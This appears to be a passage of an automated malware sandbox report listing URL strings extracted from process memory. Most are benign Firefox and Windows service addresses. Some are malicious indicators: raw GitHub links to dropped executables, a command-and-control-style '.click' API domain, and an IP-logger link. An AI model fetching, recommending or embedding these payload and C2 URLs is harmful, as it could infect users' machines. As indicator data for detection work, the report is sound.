Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sPdfJs.init
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000030.00000002.3537155261.000002238A726000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1chrome://browser/content/browser.xhtml
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1chrome://browser/content/browser.xhtmlParent
Source: firefox.exe, 00000030.00000002.3592510223.000002238B5EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: c9692f9101.exe, 00000014.00000003.3634688996.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638199431.0000000005671000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3635238092.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638728492.0000000005612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://g-cleanit.hk
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52FF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.2851825660.0000019CC520E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com
Source: firefox.exe, 00000030.00000002.3613633704.000002238B603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: powershell.exe, 00000011.00000002.2690416299.0000000005095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2688444765.00000000034E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002344000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002344000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.000000000235B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: firefox.exe, 00000030.00000003.3313163016.000002238E377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312075480.000002238E31F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3311874121.000002238E100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsMozilla
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ip
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ipbefore
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000030.00000002.3506483524.000002238A60B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: c9692f9101.exe, 00000014.00000003.3634688996.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638199431.0000000005671000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3635238092.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638728492.0000000005612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://iplogger.org/1Pz8p7
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3613633704.000002238B620000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B5CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%schrome://extensions/content/schemas/geckoProfiler.
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%snewChannel
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A6B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: powershell.exe, 0000000E.00000002.2643535669.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2706333569.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC52C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5256000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://gre/modules/handlers/HandlerList.s
Source: 85746525a0.exe, 0000000B.00000002.3077006411.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000002.3122907184.00000000032C2000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021666980.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997560050.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021767203.00000000032C2000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997644464.00000000032C1000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2637084246.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000002.3079389496.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/
Source: 85746525a0.exe, 0000000B.00000003.3021666980.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997560050.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2841686209.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2956641999.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2636831515.00000000032C2000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000002.3079389496.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/api
Source: 85746525a0.exe, 0000000B.00000003.2841686209.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/apiOAMIH
Source: 85746525a0.exe, 0000000B.00000002.3077006411.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021666980.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997560050.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/apik
Source: 85746525a0.exe, 0000000B.00000003.2956641999.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/bu
Source: 85746525a0.exe, 0000000B.00000003.2956641999.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/bu8
Source: 85746525a0.exe, 0000000B.00000003.2956641999.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/bui
Source: 85746525a0.exe, 0000000B.00000003.2841686209.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/f
Source: 85746525a0.exe, 0000000B.00000003.2636831515.00000000032C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/j
Source: 85746525a0.exe, 0000000B.00000003.2583666313.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/n
Source: 85746525a0.exe, 0000000B.00000003.2956641999.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pancakedipyps.click/pi
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000030.00000002.3666518929.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3345779688.000002238DF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3351155955.000002238DF1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sCan
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com_isRemoteDebuggingEnabledhookProfilerRecordingButtonbound
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.comlocationsForBackgroundTaskNamedregisterModulesProtocolHandler/background
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002433000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.comD
